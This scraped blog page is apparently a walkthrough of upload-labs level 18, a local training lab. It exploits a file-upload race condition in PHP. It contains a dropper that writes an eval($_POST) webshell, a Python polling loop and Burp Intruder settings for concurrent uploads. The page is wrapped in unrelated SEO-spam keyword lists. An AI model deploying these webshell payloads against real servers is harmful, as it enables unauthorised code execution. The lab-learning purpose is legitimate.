当前位置: 首页 > wzjs >正文

php做的网站怎么打开百度网盘云资源搜索引擎

php做的网站怎么打开,百度网盘云资源搜索引擎,unity制作app教程,wordpress最漂亮的主题目录 一、条件竞争 二、源码分析 1、源码分析 2、攻击原理 3、渗透思路 三、实战渗透 1、构造脚本 2、获取上传脚本URL 3、构造访问母狼脚本的Python代码 4、bp不断并发上传母狼脚本 (1)开启专业版bp (2) 上传母狼脚本…

目录

一、条件竞争

二、源码分析

1、源码分析

2、攻击原理

3、渗透思路

 三、实战渗透

1、构造脚本

2、获取上传脚本URL

3、构造访问母狼脚本的Python代码

4、bp不断并发上传母狼脚本

(1)开启专业版bp

(2) 上传母狼脚本发送到intruder

(3)配置intruder位置

(4)配置intruder负载

(5)配置intruder线程

(6)intruder开始攻击

5、执行访问母狼脚本

6、访问小狼脚本 


本文通过《upload-labs通关笔记-第18关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节进行条件竞争绕过渗透实战。

一、条件竞争

条件竞争(Race Condition Vulnerability)在文件上传的应用场景中是一种常见的安全问题,其核心原理是利用系统处理文件时的"检查-使用"时间差(Time-of-Check to Time-of-Use, TOCTOU)进行攻击。其基本工作原理如下所示。

(1)正常上传流程

  • 服务器检查文件合法性(扩展名、内容类型等)
  • 服务器将文件保存到指定位置
  • 服务器对文件进行后续处理(如重命名、移动或删除)

(2)原因

  • 在"检查"和"最终处理"之间存在时间窗口
  • 攻击者可在这个时间间隙内进行操作

二、源码分析

打开靶场第18关,查看源码,分析可知文件上传的处理流程是先被传到服务器,然后根据后缀是否在白名单中,如果不在则删掉文件。具体代码如下所示。

1、源码分析

很明显代码存在条件竞争安全风险,主要原因在于文件移动和文件类型检查这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。 

<?php
// 初始化变量 $is_upload,用于标记文件是否上传成功,初始值为 false 表示尚未成功上传
$is_upload = false;
// 初始化变量 $msg,用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;// 检查是否通过 POST 方式提交了名为 'submit' 的表单元素
// 如果提交了,说明用户触发了文件上传操作,进入后续处理逻辑
if (isset($_POST['submit'])) {// 定义一个数组 $ext_arr,存储允许上传的文件扩展名$ext_arr = array('jpg', 'png', 'gif');// 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 从文件名中提取文件扩展名// strrpos($file_name, ".") 用于查找文件名中最后一个点号的位置// substr($file_name, strrpos($file_name, ".") + 1) 从最后一个点号的下一个位置开始截取字符串,得到文件扩展名$file_ext = substr($file_name, strrpos($file_name, ".") + 1);// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {// 检查提取的文件扩展名是否在允许的扩展名数组中if (in_array($file_ext, $ext_arr)) {// 如果扩展名合法,拼接一个新的文件名// rand(10, 99) 生成一个 10 到 99 之间的随机整数// date("YmdHis") 获取当前的日期和时间,格式为年月日时分秒// 最后拼接上文件扩展名$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;// 将之前移动到目标路径的文件重命名为新的文件名rename($upload_file, $img_path);// 将 $is_upload 标记为 true,表示文件上传成功$is_upload = true;} else {// 如果扩展名不合法,将提示信息 $msg 设置为只允许上传指定类型的文件$msg = "只允许上传.jpg|.png|.gif类型文件!";// 删除已经移动到目标路径的文件unlink($upload_file);}} else {// 如果文件移动失败,将提示信息 $msg 设置为上传出错$msg = '上传出错!';}
}
?>

2、攻击原理

 根据源码可知本关卡服务器的处理流程有条件竞争安全风险,具体原理如下所示。

  1. 文件移动:代码先使用move_uploaded_file函数将上传的临时文件移动到目标目录,此时文件已经被放置在目标目录中,但还未进行文件类型检查。
  2. 时间间隔:在文件移动完成后,代码才开始检查文件扩展名是否合法。在这个时间间隔内,攻击者可以利用多线程或脚本快速地多次上传文件,并且在服务器进行文件类型检查之前,修改服务器上文件的扩展名或内容。
  3. 绕过检查:如果攻击者在文件类型检查之前将文件扩展名修改为合法的扩展名,或者利用文件包含访问图片马等方式让服务器以恶意代码的形式执行文件,就可以绕过文件类型检查,实现恶意文件的上传和执行。

3、渗透思路

利用上传到服务器和判断不在黑名单被删除的时间差进行webshell上传。即攻击者上传一个包含恶意代码的 .php 文件(我们称之为母狼脚本),服务器将其移动到目标目录。在服务器进行文件类型检查之前,攻击者通过脚本执行生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼脚本因检查不合格被删除,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。

总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透

 三、实战渗透

1、构造脚本

构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。

<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>

 此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。

    <?php @eval($_POST[ljn]);?>

    2、获取上传脚本URL

    对于上传到服务器的母狼脚本ljn_shell.php,相关源码处理如下所示。

        // 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}

    分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。

    upload_file = UPLOAD_PATH . '/' . $file_name

    根据源码可知$file_name为上传文件名,假如要传的源码为ljn_shell.php,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_shell.php

    同理,母狼ljn_shell.php生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    3、构造访问母狼脚本的Python代码

    这段代码的功能是不断的并发访问母狼脚本ljn_shell.php,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_shell.php可以成功执行生成小狼脚本ljn_post.php。

    import requests
    url = "http://127.0.0.1/upload-labs/upload/ljn_shell.php"
    while True:html = requests.get(url)if html.status_code == 200:print("OK")breakelse:print("NO")
    

    4、bp不断并发上传母狼脚本

    (1)开启专业版bp

    浏览器开启代理,burpsuite注意要选用专业版)打开拦截功能。

    (2) 上传母狼脚本发送到intruder

    点击上传后报文被bp拦截,右键发送到intruder,如下所示。

    (3)配置intruder位置

    选择狙击手模式清空所有负载,具体如下所示。

    (4)配置intruder负载

    接下来配置payloads,选择null payload并选择continue indefinitely,具体如下所示。 

    (5)配置intruder线程

    在intrude里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。

    (6)intruder开始攻击

    攻击后的效果如下所示。

    5、执行访问母狼脚本

    运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。

    此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder,如下所示。

    6、访问小狼脚本 

    上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    POST参数设置进行如下code设置,如下图所示渗透成功。

    ljn=phpinfo();

    http://www.dtcms.com/wzjs/420029.html

    相关文章:

  1. 德兴高端网站设计新闻播报最新
  2. 自己做网站需要收费吗好用搜索引擎排名
  3. 界面设计心得福建seo快速排名优化
  4. 企业网站制作报价单如何在百度上做广告
  5. 武汉专业网站建设报价长沙seo霸屏
  6. app网站的优点搜狗收录提交入口
  7. 甘肃住房建设厅的网站首页重庆seo排名电话
  8. 网站框架是怎么做的河南今日重大新闻
  9. 赣县网站制作百度推广关键词多少合适
  10. 金华手机网站建设网站推广seo
  11. 湖南住房城乡建设部网站专业做灰色关键词排名
  12. av12网站建设中长沙专业做网站公司
  13. angular 做的网站专业seo优化公司
  14. javaee做网站安全免费的行情网站
  15. 中国廉洁建设网是什么正规网站吗seo网页推广
  16. 外国网站接单做翻译网络电商推广方案
  17. 中国房地产新闻合肥优化营商环境
  18. 什么是网站组件百度手机助手
  19. 做网站佛山网站模板及源码
  20. 网站做视频窗口接口收费么怎么样把自己的产品网上推广
  21. 网站建设风险是什么口碑营销属于什么营销
  22. 怎样自己做卖商品的网站怎样做引流推广
  23. 百度收录网站定位地址电脑清理优化大师
  24. 汽车充电桩网站建设中企动力技术支持全国疫情排行榜最新情况列表
  25. 银川市建设诚信平台网站十大技能培训机构排名
  26. 三网合一营销型全网站百度推广有哪些形式
  27. 成都网站建设索q479185700做免费推广的平台
  28. 网站不想续费免费做网站怎么做网站
  29. 岳阳网站优化全网推广怎么做
  30. 安阳县事业单位招聘2021seo管理平台